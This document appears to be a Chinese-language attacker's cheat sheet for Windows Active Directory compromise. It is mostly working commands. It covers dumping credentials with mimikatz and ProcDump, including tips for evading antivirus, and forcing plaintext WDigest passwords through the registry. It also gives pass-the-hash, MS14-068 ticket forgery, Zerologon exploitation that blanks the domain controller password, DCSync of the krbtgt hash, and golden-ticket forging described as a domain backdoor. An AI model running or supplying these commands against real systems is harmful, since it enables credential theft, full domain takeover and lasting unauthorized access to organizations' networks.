sekurlsa::logonpasswords #抓取密码
注意: 当目标为win10或2012R2
以上或KB2871997
时,默认在内存缓存中禁止保存明文密码,但可以通过修改注册表的方式抓取明文(需要用户重新登录,也可能需要重启)。
#修改为明文
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
#恢复
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f
SMB、WMI、PSExec
impacket
kali有自带
https://blog.csdn.net/weixin_46944519/article/details/122304111
mimikatz免杀思路
ProcDump
https://learn.microsoft.com/zh-cn/sysinternals/downloads/procdump
procdump 是微软的官方工具,不会被杀,所以如果你的 mimikatz 不免杀,可以用 procdump 导出 lsass.dmp 后拖回本地抓取密码来规避杀软。
Procdump.exe -accepteula -ma lsass.exe lsass.dmp
也可以采用 pid 方式规避杀软
tasklist /fi "imagename eq lsass.exe"
procdump -accepteula -ma 640 lsass.dmp
然后用 mimikatz 加载导出来的内存再抓 hash
sekurlsa::minidump c:\users\test\appdata\local\temp\lsass.dmp
sekurlsa::logonpasswords full
PTH
Pth 的对象 :使⽤ net user /domain 等命令即可查看域内⽤户信息
域名 :使⽤ net view /domain 等命令即可查看域名
NTLM hash :可以通过使⽤ procdump 配合 mimikatz 获取
sekurlsa::pth /user:xx /domain:xx /ntlm:xxx
msfconsole
use exploit/windows/smb/psexec
set rhost 传递的地址
set smbuser administrator
set smbpass (lm:ntlm)
kerberos认证协议
KDC(Key Distribution Center):密钥分发服中⼼
AS(Authentication Server):认证服务器
TGS(Ticket Granting Server):票据授权服务器
TGT(Ticket Granting Ticket):票据授权票据
PTC
影响范围
Windows Server 2003、Windows Server 2008、Windows Server 2008 R2
Windows Server 2012 及 Windows Server 2012 R2
Windows Vista、Windows 7、 Windows 8 及 Windows 8.1
利用条件
补丁编号:KB3011780
获取到⼀台主机的权限 (管理员权限)
收集到计算机⽤户的账号密码、SID、域名信息
没打 MS14-068 补丁
漏洞利用
ms14-068.exe -u <⽤户名@域名> -s <SID> -d <ip地址> -p <⽤户密码>
将票据导入
$mimikatz
kerberos::purge #清空票据(危险,无法跟域交互)
kerberos::ptc #票据名称
misc::cmd #调用cmd
Zerologon
影响版本
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2012
Windows Server 2012 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 R2 (Server Core installation)
Windows Server 2016
Windows Server 2016 (Server Core installation)
Windows Server 2019
Windows Server 2019 (Server Core installation)
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)
Windows Server, version 2004 (Server Core installation)
获取域控主机名
nbtstat.exe -A ip
mimikatz - zerologon
探测
lsadump::zerologon /target:192.168.0.111 /account:win-3o8g1o8vv2e$
OK
表示漏洞存在!
利用
lsadump::zerologon /target:域控ip地址 /account:域控主机名称$ /exploit
将域控的密码设置为空
进一步利用
lsadump::dcsync /dc:主机全称 /authuser:主机名称$ /authdomain:域名 /authpassword:"" /domain:域名 /authntlm /user:krbtgt
获取krbtgt用户hash值
PTT(域后门)黄金票据
KDC 的作⽤是⽣成任意⽤户的 TGT,那么问题来了,是什么条件能够让他⽣成任意⽤ 户的 TGT 呢?还得看 kerberos 认证的过程,在 windows 认证过程中,客户端将⾃⼰的信息发 送给 KDC,然后 KDC 使⽤ krbtgt ⽤户密码的 hash
作为密钥进⾏加密,⽣成 TGT。
那么如果获取到了 krbtgt 的密码 hash 值,是否就可以伪造任意 TGT?答案是肯定的。 但因为 krbtgt 只有域控制器上才有,所以使⽤⻩⾦票据意味着之前就拿到了域控制器的权 限,所以⻩⾦票据可以理解为⼀个后⻔。
lsadump::dcsync /user:krbtgt #域控获取hash
kerberos::purge #清空票据(危险,无法跟域交互)
kerberos::golden /admin:administrator /domain:lalala.com /krbtgt:hash /sid:域内sid